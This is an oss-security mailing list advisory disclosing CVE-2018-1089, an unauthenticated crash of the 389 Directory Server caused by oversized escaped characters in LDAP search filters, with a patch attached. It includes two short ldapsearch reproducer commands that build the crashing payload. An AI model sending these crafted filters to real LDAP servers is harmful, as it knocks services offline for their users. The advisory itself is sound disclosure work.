[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Mon, 7 May 2018 17:30:57 +0200
From: Cedric Buissart <cbuissar@...hat.com>
To: oss-security@...ts.openwall.com
Subject: CVE-2018-1089 389-ds-base: unauthenticated ns-slapd crash via large
filter value in ldapsearch
Hi all,
This is to disclose the following flaw, CVE-2018-1089 :
389-ds-base, a.k.a 389 Directory Server, https://pagure.io/389-ds-base/,
is a highly usable, fully featured, reliable and secure LDAP server
implementation. It handles many of the largest LDAP deployments in the
world.
389-ds server did not properly handle characters needed to be escaped in
its query filter. This could result in buffer overflows, from the heap
or the stack, on larger filters. An unauthenticated attacker could send
a specially crafted LDAP request and crash the server. RCE has not been
demonstrated at this time.
Red Hat would like to thank Greg Kubok for alerting us of the issue.
Reproducer1 :
[root@...ver1 ~]# payload=$(printf '.*$%.0s' {1..1000})
[root@...ver1 ~]# ldapsearch -h localhost -p 389 -x -b "dc=blah"
"(&(|(telephoneNumber=*${payload}*)(uid=*${payload}*)(title=*${payload}*)(sn=*${payload}*)(ou=*${payload}*)(givenName=*${payload}*))(objectClass=posixaccount))"
"telephoneNumber sshpubkeyfp ipaSshPubKey uid krbCanonicalName title
loginShell uidNumber gidNumber sn homeDirectory mail krbPrincipalName
givenName nsAccountLock"
Reproducer2:
[root@...ver1 ~]# perl -e 'print ".*\$" x (1400)' | ldapsearch -x -f-
"(&(uid=%s)(objectClass=posixaccount))"
Patch attached for versions 1.3.7 & 1.2.11
Thanks!
--
Cedric Buissart,
Product Security
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
